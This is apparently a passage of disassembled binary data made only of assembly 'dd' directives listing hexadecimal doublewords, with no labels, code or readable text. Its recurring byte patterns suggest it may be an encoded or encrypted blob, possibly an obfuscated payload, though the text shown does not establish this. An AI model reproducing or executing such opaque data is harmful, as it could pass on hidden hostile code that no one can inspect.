		dd 664FBB1Ah, 60CB3215h, 0A0113215h, 3512B6D0h,	0C6C10991h
		dd 692424B1h, 66115590h, 6698DB15h, 0E4063215h,	78CBF0FFh
		dd 0DC542C3Bh, 4D1CD4E8h, 69AD8B7Bh, 2F223215h,	0D306A885h
		dd 5189A90h, 0FFACA49h,	0E3A95C65h, 601E0280h, 669CDB75h
		dd 30893215h, 62145B29h, 7F99FBB6h, 1EF70DDEh, 0E9FF290Ch
		dd 68CB677Bh, 0AA113215h, 68B3D9D7h, 66F1AAB3h,	0B96D93F4h
		dd 0D8475340h, 66883214h, 9A1AC514h, 0C286B72Eh, 0E31E3403h
		dd 66883258h, 664435FCh, 0CD45C515h, 0B5990114h, 716DB79Eh
		dd 37B1341Ah, 2C00DAACh, 66F0B310h, 0E7B99246h,	0F4458DFCh
		dd 0D8D3B313h, 4F14A3EAh, 0E5876BDAh, 6644320Ch, 662226FCh
		dd 6D432A15h, 6F8AA3D5h, 0F63257B2h, 0C1781AB4h, 6E9730E9h
		dd 0CA0D0988h, 694224B1h, 66225390h, 6A903D15h,	69883215h
		dd 6644349Bh, 66AF3D15h, 0ED113215h, 699FDF90h,	7FC83D13h
		dd 8F223215h, 66113201h, 90AB8382h, 0E05186D1h,	0F9331B0Ch
		dd 24C2AB5Bh, 0EAF299BFh, 99BB8F40h, 890BCDEAh,	9F9A5248h
		dd 669FB21Ah, 77AC3215h, 0D2223215h, 9E71C8h, 0E66D44B5h
		dd 0E2F0E795h, 1B96FEBEh, 0E32A534Eh, 609E96BDh, 66ECB71Ah
		dd 6BCB3215h, 2B113215h, 259BFCADh, 45D5D1B0h, 0B9226103h
		dd 670C8F96h, 6988341Ah, 6644BB90h, 0E7445215h,	35CB8DE5h
		dd 3871B973h, 0E3C1B974h, 69243D1Ah, 66112696h,	6687DB15h
		dd 39CE3215h, 0EDB0617Dh, 83C0A044h, 34CA59B4h,	3FD6308h
		dd 0A750A87Ch, 0B7E634F4h, 0EB69B35Ch, 0E77E161Ch, 3720B8FCh
		dd 9BD0B371h, 4FC41F14h, 0E54B6BDAh, 6622320Dh,	661121FCh
		dd 53C7E515h, 8BE15FCEh, 0D0727FA5h, 9BE5B1E9h,	0CBC476E5h
		dd 665CB61Ah, 75CB3215h, 83113215h, 0D962A3EDh,	0E9A214C7h
		dd 0B508F1F6h, 3B9D69F0h, 0DB0BE08Fh, 604B2020h, 11A63D15h
		dd 6113215h, 668823FCh,	0A867FB15h, 20BB4911h, 8E29CB9Bh
		dd 0F8E03650h, 0D94B71B8h, 0E31953D6h, 60079721h, 66D8B71Ah
		dd 0EDB13215h, 69355390h, 7E9B3D13h, 8F883215h,	66443206h
		dd 0E400619h, 0BC173069h, 6DC92AD1h, 3ECA055Ch,	6287FE7h
		dd 6611BF1Ah, 34E93215h, 99BBCDAFh, 3CF51BEAh, 6605B91Ah
		dd 8FE83215h, 66443218h, 67E4C723h, 0C45A8F15h,	774F0858h
		dd 0DBC75318h, 602D2C08h, 22953D15h, 6883217h, 0DDBF851Ah
		dd 29E8EE51h, 73ACB174h, 668E3D26h, 6469B61Ah, 5DDA3215h
		dd 70B42A90h, 560D3D13h, 6443215h, 0C4C8B373h, 0E39A53CCh
		dd 60873974h, 664426FCh, 76120E15h, 30D1287Dh, 0B9F057DCh
		dd 5717EF51h, 2115FA43h, 99AB6043h, 4F77CDEAh, 5DB868C2h
		dd 70871A90h, 25943D13h, 69883215h, 6644399Ch, 0ED445215h
		dd 66943DC2h, 7883215h,	76D1B79Eh, 0E52D341Ah, 66113212h
		dd 6689B11Ah, 37BD3215h, 99DDCDACh, 3FDE1BEAh, 668DDA75h
		dd 84393215h, 0E6EC71F3h, 0E74BDBCFh, 0F9242BD4h, 0E37F5306h
		dd 60349709h, 662BB71Ah, 0ED703215h, 69747F90h,	6630DB13h
		dd 4FC13215h, 9A7F433Fh, 8D062867h, 0E9CD0DAEh,	8B369A47h
		dd 31CDDD92h, 8F196D40h, 66223205h, 3BC4E968h, 0FB5C15FCh
		dd 6ADE1DDFh, 1B03D395h, 0C33DB72Eh, 0E3873403h, 66443245h
		dd 6625B01Ah, 0E71E3215h, 66883214h, 93C1B9E0h,	69243D01h
		dd 66113A93h, 64003D15h, 6443215h, 0DC70CA74h, 66113214h
		dd 69D2E514h, 66442397h, 662EDB15h, 35423215h, 0C33048BAh
		dd 0E21C129Fh, 0EE2DA39Ah, 6611321Dh, 668ABD1Ah, 7243215h
		dd 0C312B72Eh, 0E31E3403h, 6688322Bh, 6AC93DECh, 69223215h
		dd 66113496h, 66043D15h, 0ED443215h, 69347790h,	6D923D13h
		dd 6883215h, 6644B41Ah,	0A8A23215h, 0D847534Ah,	66883214h
		dd 61AC514h, 0E7F5851Ah, 0A524EAD7h, 0E3B35369h, 60529735h
		dd 666CB71Ah, 0EB1E3215h, 66883219h, 6642B11Ah,	0EA2D3215h
		dd 66113215h, 45F9B79Eh, 3724341Ah, 6622B71Ah, 4E3215h
		dd 8FE9E39Eh, 6644321Ah, 57C83959h, 0FBAEE93Ah,	1081C1E6h
		dd 304EDC99h, 662233ABh, 38E63315h, 668835FCh, 65280C15h
		dd 1A8EAA22h, 0C335B72Eh, 0E3873403h, 6644325Ah, 662EB01Ah
		dd 0E31E3215h, 66883213h, 6644B81Ah, 0E22D3215h, 66113206h
		dd 66883CFCh, 0C105AE15h, 6BAC60B8h, 0D42251A0h, 0ED6DB66Bh
		dd 69574790h, 0EE905213h, 7EFB973h, 428CCD42h, 0E5600E9Eh
		dd 61CB36D1h, 6C113215h, 0A56893CDh, 0E5B84844h, 691127A8h
		dd 0E21E3213h, 66883803h, 993C8C75h, 7DA5C57h, 0C2A1B72Eh
		dd 0E3873403h, 66443224h, 60AF3D75h, 0E7113215h, 8A3470CBh
		dd 59FB23Fh, 87A7B974h,	8F173D1Fh, 6688321Eh, 0C06CCF49h
		dd 0A79F5497h, 3052EB92h, 9977CDABh, 38B31BEAh,	22A709E9h
		dd 691724B0h, 66886390h, 61C33D15h, 69223215h, 66113394h
		dd 0E303C715h, 604B1344h, 662235FCh, 4F539215h,	3A555DC1h
		dd 3102C592h, 697C6D43h, 66113C9Ch, 6681DB15h, 0F3B43215h
		dd 6B57ECEEh, 8FD54F3Fh, 66883207h, 5CCCE661h, 0B97F6961h
		dd 0F25EE286h, 5E8C2757h, 0E37F4BD8h, 603496A1h, 6643B71Ah
		dd 61613215h, 0D5443215h, 0A1835BB4h, 0E39AE94Bh, 608723A4h
		dd 665BBB1Ah, 0E52D3215h, 6611320Ch, 668826FCh,	86BD1415h
		dd 95C5CABEh, 0C8C8CAC8h, 6635AD43h, 9E86E10Ch,	999F6721h
		dd 4FEECDEAh, 6B616FFAh, 24443215h, 0E6C1ECD4h,	0B022150Bh
		dd 43B4804Ch, 0C2FCB72Eh, 0E32D3403h, 66113274h, 6687DB75h
		dd 153D3215h, 0A42615CCh, 8BBC4A66h, 0F91092FDh, 63C23D5Ah
		dd 223215h, 6CF394h, 669ADB74h,	0C5C93215h, 0FD74935h
		dd 0E68CC8A8h, 8F49751Dh, 0FAA2F46h, 6307B79Eh,	61F8341Ah
		dd 22883215h, 0B9BB5743h, 0DE727890h, 50B73341h, 48A0A430h
		dd 60ACF32Fh, 0AEB5CD38h, 3ED63315h, 0DA0D09EDh, 694224B1h
		dd 66222090h, 0E39ACE15h, 608727B0h, 99FA64E0h,	4FDDCDEAh
		dd 5DE86CE2h, 702CF290h, 3C13D13h, 8F223215h, 66113204h
		dd 1FAA0EB4h, 8DFBAFEh,	6FBA0FCh, 0B088D9ADh, 7B35B162h
		dd 66423D14h, 6660B71Ah, 68F83215h, 1B883215h, 91796CC4h
		dd 62C9674Dh, 0E05400D3h, 0B30DB9DCh, 69423D24h, 66223590h
		dd 969A5215h, 771B973h,	99BB8C43h, 910BCDEAh, 6616DB4Bh
		dd 37E3215h, 0E088EF4Ah, 67A73D37h, 9F113215h, 0C24CB72Eh
		dd 0E34B3403h, 66223276h, 1F94B9E0h, 8F8E3D0Dh,	66443204h
		dd 764D238Ch, 8A70084h,	0DBD90E4Bh, 36BECC47h, 74A63D48h
		dd 8F113215h, 66883218h, 7C7036D4h, 1ADBB8E1h, 3843EF28h
		dd 553361EDh, 0E7129F6Fh, 0F61B43DEh, 63F2F372h, 8E9D994h
		dd 0B96DC5BAh, 6FA43D4Eh, 6113215h, 0E7EEC19Fh,	7A1B8D7h
		dd 6623B41Ah, 5DE93215h
		dd 702CFA90h, 35C13D13h, 69223215h, 66113394h, 0DB0BCB15h
		dd 604B3308h, 59A73D15h, 9F113215h, 7999B79Eh, 0EC24341Ah
		dd 0A4A354DAh, 69703300h, 6688359Eh, 67C33D15h,	9A223215h
		dd 66108B44h, 0A9893215h, 0E34BCE4Ch, 66223207h, 661DBA1Ah
		dd 61613215h, 17443215h, 77096FDAh, 0E32A6B3Ch,	609E96D9h
		dd 6679B71Ah, 0EDD73215h, 69232790h, 0D8DECE13h, 17A0954h
		dd 3CD0F494h, 0B8E63908h, 5C10F494h, 0A8C513C3h, 103F0D96h
		dd 0D9F7DC94h, 9189CD6Ah, 6ACB3D4Bh, 69223215h,	6611349Ch
		dd 66003D15h, 5D443215h, 7086E290h, 23943D13h, 9A883215h
		dd 6655B31Ah, 6ACB3215h, 2A113215h, 0D8B2F8D3h,	0BAF332AEh
		dd 0ED676EEBh, 6933BB90h, 0E3875213h, 66443210h, 3EF0B373h
		dd 7AD814Ch, 99778847h,	0B16DCDEAh, 6FCBC74Fh, 24113215h
		dd 6093CCC0h, 76617214h, 0C2FAB72Eh, 0E31E3403h, 66883268h
		dd 664439FCh, 0C7F6E15h, 0E8E5CC51h, 9C34EA2Ah,	67598F96h
		dd 6922341Ah, 66115290h, 7F0C3D15h, 6443215h, 0FF368C73h
		dd 66113CFCh, 1CB18815h, 0EBBE7FF7h, 0B0FD08Fh,	74391A2h
		dd 5565B79Eh, 8F24341Ah, 66223213h, 5C4BEF20h, 0DFEE703Bh
		dd 332553BFh, 99DDCDA8h, 3BFE1BEAh, 6693BF1Ah, 0E64B3215h
		dd 66223200h, 661122FCh, 4E0AFA15h, 0BE8248B0h,	2464678h
		dd 7613DC41h, 0B20D09FFh, 694224B1h, 6622B490h,	661EDB15h
		dd 3F943215h, 201EA35Dh, 0D3BE2F9Ch, 0AF96B69h,	7B35B110h
		dd 66423D14h, 6647B71Ah, 8F713215h, 6688321Ah, 0CD9CD603h
		dd 0D5DAA5C5h, 15CE4F12h, 72D76F2h, 7C8DB79Eh, 69D7341Ah
		dd 66112393h, 6D0E3D15h, 8F443215h, 66223213h, 0AFA461D4h
		dd 0DBDD450Fh, 3A3C7043h, 73FED794h, 83D0685Dh,	0FB4DB313h
		dd 0A75D420Dh, 93A337F8h, 98B54C86h, 8FD5DD3Ch,	6644321Eh
		dd 0F9793C83h, 98A00A3Dh, 5DFAB8CAh, 70E0EE90h,	35A73D13h
		dd 9A113215h, 0DB0DB9E9h, 8F423D3Dh, 66223218h,	68EB8676h
		dd 0A39E0F22h, 84139B41h, 6EA53D1Dh, 69113215h,	66883097h
		dd 37255215h, 2B5E67ACh, 96F0B345h, 0A7AB7F54h,	97C534F4h
		dd 43AB671Bh, 8F0F394h,	87090AE9h, 52D810F0h, 0BB38C394h
		dd 0A938E97Eh, 0E3B3CA4Ch, 605296F5h, 6616B71Ah, 74F83215h
		dd 1F883215h, 5BAFDEE9h, 0D8034237h, 0A5F86345h, 239414FDh
		dd 0DD2252D5h, 0ED43C6F9h, 69195390h, 670F3D13h, 9F443215h
		dd 99DD8F40h, 8938CDEAh, 0E3B3CB48h, 605296F1h,	6613B71Ah
		dd 6DF83215h, 0FD883215h, 5AC7B6D9h, 0A82AF311h, 6DF8D736h
		dd 61883215h, 2C180713h, 71AB42CFh, 0E39A09CFh,	60872BC8h
		dd 67FD63ECh, 67223215h, 5DE46BDAh, 702CDA90h, 39C13D13h
		dd 8F223215h, 66113206h, 44C2E6FBh, 360E8012h, 556193D8h
		dd 74539987h, 0ED5620A0h, 696F5390h, 71A23D13h,	8F113215h
		dd 66883207h, 0BE3B320h, 526E2FECh, 96AFF337h, 5280658Ah
		dd 0E64BA46Bh, 6622321Fh, 0B9A63D75h, 35E4B1ABh, 0DE145348h
		dd 66223214h, 649F514h,	0E7D0C495h, 1F48DAC3h, 0E3195341h
		dd 600796F9h, 66CCB71Ah, 0E24B3215h, 66223212h,	6610BB1Ah
		dd 0ED703215h, 696C1390h, 67AD3D13h, 9E113215h,	99778F40h
		dd 896DCDEAh, 6DCB5248h, 0B4113215h, 8CF24322h,	8CF148FFh
		dd 0E62DAEAEh, 66113217h, 69E973A2h, 6644339Bh,	0E319CA15h
		dd 600796E5h, 66D0B71Ah, 0DF243215h, 6DFC7F6Fh,	0F1E2B275h
		dd 931CF294h, 7252EFAh,	5BA7B9E9h, 6173D24h, 0A6E38C73h
		dd 99FE6074h, 4FDDCDEAh, 0E81E68C2h, 6688323Fh,	6655DB75h
		dd 990A3215h, 0F89642ADh, 706ABF27h, 63524F49h,	8F1D090Fh
		dd 66113218h, 0CE58645Ch, 57137C20h, 3C92F6A7h,	0E32A530Ah
		dd 609E96E1h, 667CB71Ah, 0E6423215h, 68F8F1F5h,	0F2883215h
		dd 2E172C41h, 6997F34Eh, 0E84ADD1Eh, 0E30353E1h, 604B2230h
		dd 662239FCh, 9AF66915h, 537C89D7h, 0D1311AE7h,	99DD8A45h
		dd 0A138CDEAh, 0E3B3C74Dh, 605296EDh, 6604B71Ah, 0EDE93215h
		dd 69911790h, 0E7225213h, 0ED9BB0FEh, 0DC4353E7h, 9977CDEAh
		dd 691EE53Ch, 66223591h, 67963D15h, 9F883215h, 72E9B72Eh
		dd 0E32D341Ah, 66113240h, 668822FCh, 9543F15h, 46731B4Ch
		dd 0BFC7810Ch, 617884F9h, 93C1B945h, 8F243D32h,	66113207h
		dd 0D92D35BEh, 0F7615172h, 66223C18h, 0A3E75017h, 89B99DE1h
		dd 8975CF24h, 9FCDB550h, 97905475h, 6C60980Ah, 0AD443215h
		dd 0FA18525Eh, 9F9A485Dh, 3CD16006h, 9AC10974h,	692424B1h
		dd 66110190h, 67073D15h, 9F443215h, 552BB79Eh, 0EC1E341Ah
		dd 66883214h, 99FC62E9h, 4FDDCDEAh, 77F86AD2h, 7E883215h
		dd 6621136Ch, 11325724h, 81E62011h, 5DBA66CDh, 0C37CB72Eh
		dd 0E32D3403h, 66113273h, 0B1035475h, 66443EFCh, 35CBF315h
		dd 2678DC08h, 0EFF16E8h, 0DBC7532Eh, 60349755h,	4E943D15h
		dd 69883215h, 66443E92h, 60AA3D15h, 69113215h, 6688329Fh
		dd 0FF9B115h, 66243D04h, 6635B61Ah, 6743215h, 0D9448AE9h
		dd 0ED4362F8h, 6911DB90h, 668EDB13h, 1C63215h, 29CD4D19h
		dd 66108B44h, 0A9893215h, 0E37FCE4Ch, 60349729h, 6647B71Ah
		dd 0ECE83215h, 77F84F0h, 0C3628F96h, 69113403h,	66883D90h
		dd 0DBC7CB15h, 602D237Ch, 53953D15h, 93883215h,	76D9B79Eh
		dd 68CB341Ah, 0C0113215h, 9109D7E4h, 43615D19h,	6A5323F6h
		dd 67A863B4h, 67883215h, 6BAD6BDAh, 0C223215h, 0B6C5CE14h
		dd 233B44D3h, 39E4B768h, 0C322B72Eh, 0E31E3403h, 6688320Bh
		dd 57C1B9EDh, 9F243D06h, 6617BC1Ah, 6E83215h, 7255274h
		dd 99DD8847h, 0B138CDEAh, 0E3B3C74Fh, 60529711h, 6666B71Ah
		dd 0E11E3215h, 66883214h, 0ABC1B9E9h, 8F243D3Ch, 6611321Ch
		dd 9DEC1BA7h, 1498B9FAh, 0C098602Fh, 911A8B39h,	3C42B3C7h
		dd 0E70C2644h, 0CF0E96D7h, 3CC61B16h, 668DBF1Ah, 0E6243215h
		dd 6943DCE2h, 6611339Ah, 0E3B3C715h, 6052971Dh,	661FB71Ah
		dd 0D7713215h, 75FB93Ah, 67E1B79Eh, 9A42341Ah, 0D84753EDh
		dd 316017F9h, 0BC57C494h, 910B9A02h, 0ED77524Bh, 6686DAEBh
		dd 10F73215h, 84A3C413h, 0E7ED4E17h, 15263EBDh,	0A706A5ABh
		dd 5D436842h, 70B43E90h, 590D3D13h, 8F443215h, 6622321Bh
		dd 782039FCh, 0C812F373h, 3C23F284h, 0E3A93F29h, 601E20D0h
		dd 0E7336475h, 3E601A76h, 0BAC2B373h, 0E01E5393h, 6688321Dh
		dd 0B0CF5475h, 7F1B973h, 99EE8B44h, 0A9A1CDEAh,	0E37FCB4Ch
		dd 60349705h, 6644B71Ah, 0EB873215h, 6644323Fh,	662EDB75h
		dd 64203215h, 0F5C3BE7Ch, 23626189h, 77CADB67h,	0C0113215h
		dd 179FD4EBh, 0F63A144Fh, 0AA59DB6Ch, 94551CF1h, 0E303534Fh
		dd 604B1368h, 6623BB1Ah, 31ED3215h, 99AC1E94h, 39BBCDEAh
		dd 662238FCh, 0C4FD5715h, 92AFFBCDh, 5D3B7D54h,	70872690h
		dd 51943D13h, 8F883215h, 6644321Eh, 0A23816CFh,	0A7C739CDh
		dd 0EDD6027Fh, 694ED390h, 61A73D13h, 69113215h,	66883391h
		dd 0DC16C715h, 99DDCDEAh, 8F4BE53Ch, 66883213h,	7443F085h
		dd 9929DB1Dh, 6639B61Ah, 69E83215h, 66443395h, 68CBCA15h
		dd 0A6113215h, 0EF85282Ah, 0ECCE35FFh, 3C51D62Ah, 82F85365h
		dd 677CDFEh, 5C96B373h,	0E3195336h, 601E3250h, 66C4B71Ah
		dd 0E7243215h, 5DEF52CBh, 2DAE542Eh, 0EB7D53C2h, 700EF890h
		dd 8E995213h, 692CBAF9h
		dd 66882B95h, 6650DB15h, 0B3D73215h, 98EE0C42h,	0E584D908h
		dd 3E968351h, 0B2B57E33h, 8F707698h, 9977D986h,	66CA3D75h
		dd 0E7223215h, 0C35C80E3h, 0E3B3530Dh, 604B1010h, 6674B71Ah
		dd 0E5E93215h, 702C52A8h, 0E34B3313h, 6622325Dh, 661DB91Ah
		dd 0EC873215h, 66443213h, 6622B91Ah, 0E39C3215h, 66D13972h
		dd 7EC03D75h, 8F223215h, 66113206h, 55BB4062h, 89330397h
		dd 0D3FBF382h, 0A94EB582h, 0D32DCEh, 795FCABh, 99C918FCh
		dd 67993DEAh, 9E883215h, 0C234B72Eh, 0E22D3403h, 6611320Eh
		dd 120D09ECh, 694224B1h, 66222C90h, 6E983D15h, 69883215h
		dd 66443098h, 8F435215h, 99EED8E2h, 7D3152ECh, 0E660676Bh
		dd 0E54370E1h, 729836F9h, 66888831h, 0B0CD3215h, 67AB3D4Fh
		dd 93113215h, 77D5275h,	2524D5ABh, 98A15308h, 9A943D14h
		dd 69883215h, 66442396h, 662EDB15h, 0AA0F3215h,	0C82CB7ACh
		dd 78DD512Eh, 0E319DE4Bh, 60079671h, 66A2B71Ah,	6243215h
		dd 7F1B973h, 66983D44h,	3F883215h, 0A2C1BF74h, 9A226A92h
		dd 99FBB4FCh, 6682DBEAh, 0C0693215h, 9AEBFD28h,	51BA3FC9h
		dd 0C2E0B72Eh, 0E34B3403h, 66223274h, 6606BF1Ah, 74613215h
		dd 9D443215h, 48D66C63h, 4E26A181h, 0DA2FA815h,	60EA3B2Eh
		dd 7EAC3DEBh, 6113215h,	66883CFCh, 98F0C515h, 8E2432F1h
		dd 4212C66h, 0F12159h, 0EB25C19Eh, 3EAA0890h, 6614DB15h
		dd 8D9A3215h, 8F9670FEh, 99DDD80Eh, 661AB91Ah, 0E7E83215h
		dd 5F2997FEh, 0BFA95412h, 0A940974h, 698E24B1h,	66440490h
		dd 6EAF3D15h, 69113215h, 6688309Bh, 0EB255215h,	3EAA4D90h
		dd 0D91E5215h, 752B8CFh, 99ADECFCh, 6633DBEAh, 0FC313215h
		dd 0FE26F152h, 3C306938h, 62AD835Eh, 0E8A577Fh,	66880AEBh
		dd 3E60369Ch, 6625B61Ah, 0E71E3215h, 66883214h,	0DF15C7E9h
		dd 56B46330h, 1417C394h, 0AF09587Bh, 6D265B05h,	828EF394h
		dd 0A89812D0h, 0E75EC54Ch, 0A25853F3h, 39C4B34Ch, 0E713705Ch
		dd 668830D3h, 67C53D15h, 9E223215h, 0E31EC41Eh,	6688321Eh
		dd 95F33D75h, 8F60DB74h, 36E9CDEAh, 62DA8B44h, 2A6D470Bh
		dd 387B3631h, 6243F494h, 0E987470Bh, 6644321Eh,	66AD3D75h
		dd 0E6113215h, 0EFE975F6h, 695A67A0h, 6AA93D13h, 69113215h
		dd 6688349Fh, 66CC3D15h, 93223215h, 7B74879Ch, 0E387341Ah
		dd 66443214h, 8F1CB2EDh, 6728B71Ah, 99743215h, 52C53363h
		dd 1508B431h, 0D8476D7Bh, 25964CFDh, 403EDC94h,	80F35077h
		dd 6C6CD494h, 8809746Ch, 0B440E7C3h, 697CC524h,	66113995h
		dd 0E7875215h, 66443215h, 7D88D1Ah, 407E8B44h, 87092041h
		dd 30E16197h, 64CBF354h, 0B7E6EBE2h, 37F394h, 0A96D5281h
		dd 0E7D5334Ch, 73760CD2h, 6683DB70h, 0F9983215h, 727648B6h
		dd 4D9E0C72h, 6264B38Eh, 0EF443215h, 8F791621h,	6611321Bh
		dd 0D60AB2C2h, 0D4C6887Dh, 241335E2h, 69F80745h, 0BE883215h
		dd 51A22CA4h, 0BF065DB0h, 0A73CBC27h, 0DBDD9002h, 224E71F7h
		dd 272DC794h, 0AB9033C8h, 7414AD7h, 93C5EFE2h, 5BCD026Bh
		dd 2174DF94h, 0A309589Eh, 0A4FFE3E3h, 4AA9D914h, 62D5B131h
		dd 333509E0h, 69423D0Bh, 66227A97h, 75F95215h, 0E6883215h
		dd 2C9A0466h, 7AB82D81h, 20DD2F6Ch, 0F0F40E8Eh,	0E44B5241h
		dd 66223215h, 0B59A544Ah, 6698DB74h, 0F0403215h, 0FC93CE19h
		dd 9E2540EBh, 0FD035E33h, 9D7FA616h, 663FB41Ah,	0E71E3215h
		dd 66883214h, 8182DBEDh, 6ACBCDEAh, 59113215h, 0F7370D1Eh
		dd 0A99B5B92h, 0EDB31C4Eh, 692253A8h, 630F3D13h, 6443215h
		dd 7ED851Ah, 0AFAA5475h, 0E34F5334h, 604B14B0h,	66223215h
		dd 8F71CBECh, 66883213h, 749899E1h, 0D3AB524Ah,	601E2F70h
		dd 0BC15BFECh, 69422533h, 6622339Bh, 0B5EEC715h, 0A683CAE0h
		dd 6668B61Ah, 8F423215h, 66113213h, 0FC0EC663h,	72AD35B8h
		dd 0EB223215h, 5728D198h, 6DAF5449h, 352B1852h,	0CA66629Eh
		dd 71DC11Dh, 6688B9FCh,	0FBC9CB15h, 6036A1BCh, 6631BD1Ah
		dd 8FE83215h, 66443206h, 0A0295A72h, 0DBE7985Ah, 0CC66DE44h
		dd 0B03F19BAh, 69F5F964h, 66113294h, 99745315h,	19C73DC6h
		dd 6DDCDEAh, 661135FCh,	61CFAC15h, 0C2AA54h, 397B974h
		dd 9E173D08h, 402D879Ch, 0EF4B341Ah, 6622321Dh,	0C9F2B375h
		dd 7B7883Fh, 0C85DAF98h, 69D73400h, 66113597h, 67013D15h
		dd 9F443215h, 77CBE1EAh, 0E1113215h, 4AFA347Fh,	0AFD15CDAh
		dd 0BB765BAFh, 532002B6h, 78DDB79Eh, 3424341Ah,	786D45h
		dd 71F3EAEh, 7BEDB79Ch,	6924341Ah, 66222598h, 6603DB15h
		dd 6F883215h, 2847C720h, 0B125CF60h, 423D135Bh,	0AFC300D1h
		dd 6647B81Ah, 88A23215h, 697153E9h, 9108CAAAh, 69255355h
		dd 66223E94h, 60913D15h, 69883215h, 66443291h, 8E1CB215h
		dd 66BFB71Ah, 6B613215h, 0D1443215h, 2FB6BE91h,	9314E1DFh
		dd 0E105DB46h, 7EF18F96h, 6922341Ah, 6611BD91h,	6B063D15h
		dd 6443215h, 6622B51Ah,	14AA3215h, 7F8E953h, 6621F97Dh
		dd 422EBB15h, 0E7A15AA4h, 8FD1FA15h, 6644321Ch,	18B05EAAh
		dd 7D85E471h, 37749841h, 3E15C39Ch, 0D975CE4Ch,	72962A61h
		dd 4FD7CA3Ch, 7E3037EDh, 0E02D2692h, 6611321Fh,	668837FCh
		dd 0DD410315h, 3473A7D4h, 4338CBAFh, 4F758B53h,	0B7757430h
		dd 3FEA1B4Fh, 6E499E0h,	0E86844h, 98DBF194h, 7E1B973h
		dd 641DDB74h, 69E83215h, 66443197h, 0BC9D3D15h,	7C1851Ah
		dd 6B0FAF98h, 9A243402h, 9943C29Fh, 0FB9CCAC6h,	609F13BFh
		dd 8F97CDECh, 66223206h, 0FA8DFCBEh, 34E6501Fh,	13E722A4h
		dd 54C44125h, 6D09CEB0h, 440D3DD5h, 69443215h, 66222291h
		dd 0A9A55215h, 668835FCh, 56FE3415h, 0D1DDFF1Bh, 6636DB74h
		dd 69E83215h, 0A1F5FBA2h, 3A7B174h, 63173D08h, 6680BC1Ah
		dd 0E54B3215h, 66223217h, 715375h, 8FE9F99Eh, 99BBCCC4h
		dd 0C5BFBFEDh, 9A172536h, 6D7DE1EAh, 78C13DD5h,	6223215h
		dd 6FF96845h, 0B9883215h, 7205D915h, 0D62CCFC7h, 6F98C4ABh
		dd 8FE96937h, 66443250h, 629961E9h, 0E7113215h,	0B823CFFh
		dd 0E79E3370h, 0B283CD7h, 69716970h, 66883490h,	66CE3D15h
		dd 69223215h, 66113497h, 66043D15h, 7443215h, 662313FCh
		dd 661ADB15h, 1403215h,	73ECCC7h, 0A0DDA49Ch, 0CF8CBFDEh
		dd 698E2686h, 66443D98h, 6628DB15h, 36673215h, 0F363564Ch
		dd 473FD1h, 0E52DE1EAh,	66113254h, 6686BE1Ah, 6FAD3215h
		dd 50223215h, 69362ECh,	24C246DEh, 3F1B9E9h, 8F243D08h
		dd 66113218h, 12AC6E5Ah, 9FAB6B08h, 6F48B2BAh, 4A80DB4Ah
		dd 6C613215h, 0BA443215h, 49AA7D01h, 35FA48BDh,	305B992h
		dd 93423D08h, 7B47879Ch, 0E7ED341Ah, 7AD718D4h,	26ADB30Eh
		dd 4F416C78h, 26D0B3E4h, 0E7EB6C78h, 7A1B18FCh,	8EDA520Eh
		dd 6611321Ch, 94893A2Fh, 32596309h, 6631DB74h, 0FFB53215h
		dd 8304914Ch, 0FCB7EABh, 70958802h, 0C79B1E0Ah,	93E96D37h
		dd 665BBC7Dh, 4216BB15h, 661132ABh, 0E1461B15h,	0E84B6CE4h
		dd 66223205h, 661139FCh, 7AE23715h, 72C3E47Ch, 5A98C89Dh
		dd 1D0DDC94h, 0A8A13395h, 1D588F40h, 88233395h,	6A9C3D48h
		dd 69883215h, 66443495h, 66A53D15h, 95113215h, 3461CEB1h
		dd 69BBCDE8h, 66223396h, 0FB9CCB15h, 609D9DCAh,	664421FCh
		dd 5732FD15h, 0F52BC300h
		dd 93FF3548h, 86A8F158h, 0EF6629B1h, 0EE9E1EAh,	668859FDh
		dd 3E600E9Ch, 662237FCh, 0D27C2A15h, 0E3A39089h, 604B0174h
		dd 662220FCh, 9D250115h, 65FB890Ah, 0CF2E12F9h,	63F97F88h
		dd 6960818h, 668CB21Ah,	0DF223215h, 0D12DAA7Ah,	0E39853CCh
		dd 608702C0h, 5E85B375h, 718C8BBh, 5570B79Eh, 6B61341Ah
		dd 7443215h, 0D9DCB4Ah,	0A8F0E5C5h, 0CDED482Fh,	0E7A2BB43h
		dd 662236D3h, 62FFB315h, 0E1883215h, 0EF181621h, 0EA2D1629h
		dd 6611321Dh, 668ABF1Ah, 7243215h, 660E467Dh, 4215BB15h
		dd 89096075h, 3390E3CCh, 6AAA3D4Eh, 8F113215h, 66883212h
		dd 824BFA4Bh, 761DD16h,	0D40DBF98h, 63613400h, 99443215h
		dd 3CA637D5h, 61F8E3EAh, 97883215h, 0DED8B8BCh,	0ED2D3072h
		dd 6611321Dh, 668AB51Ah, 7243215h, 72FFB79Eh, 36E4341Ah
		dd 628DD29Ch, 0E5443215h, 62A536FDh, 62986E31h,	7C0D3D31h
		dd 69443215h, 66222690h, 661EDB15h, 0F6823215h,	4F332980h
		dd 0EDFB8DA2h, 9A3DEB83h, 50335A44h, 5ACD3215h,	6636DB31h
		dd 6B3F3215h, 0ECAAADC0h, 6AF9C152h, 60BD6BB8h,	0F1AC0688h
		dd 0E30323EAh, 604B0174h, 662220FCh, 0FF4F6715h, 135D7196h
		dd 0DC4866C7h, 0C62354CBh, 0E89476Eh, 6688255Fh, 9A60369Ch
		dd 0D546BF98h, 0E41E3400h, 66883219h, 664435FCh, 9CDF5415h
		dd 943CCBC8h, 668839FCh, 2B465F15h, 4055108Fh, 67C157E4h
		dd 6161E3EAh, 0B443215h, 29B72E43h, 6AF81A16h, 7F883215h
		dd 5627B9Dh, 0D2FC6A8Fh, 36AB2122h, 0E7AC269Eh,	664436D1h
		dd 0B44ACE15h, 0EF11321Fh, 6D11611h, 66C33D75h,	8F223215h
		dd 66113204h, 3562AFA1h, 0B92B5481h, 0CC3E0FA0h, 73F30030h
		dd 0A50253B1h, 664CDB74h, 0D4C43215h, 70393FC6h, 0EBA3402Fh
		dd 604B26C8h, 39FB1E9h,	66173D14h, 6648B61Ah, 6243215h
		dd 6ACB6FA6h, 1B113215h, 0E70EFF0Ah, 247D0007h,	7BA0B1Dh
		dd 6617B11Ah, 0EC873215h, 66443215h, 0C7A7B974h, 9F173D24h
		dd 67EDB73Eh, 6EAD341Ah, 2B223215h, 47C3A264h, 69C7539Dh
		dd 66443E9Fh, 0A1A35215h, 5146579Fh, 415C8A73h,	69850974h
		dd 66225B93h, 6603DB15h, 0B673215h, 57A58264h, 2F8C3001h
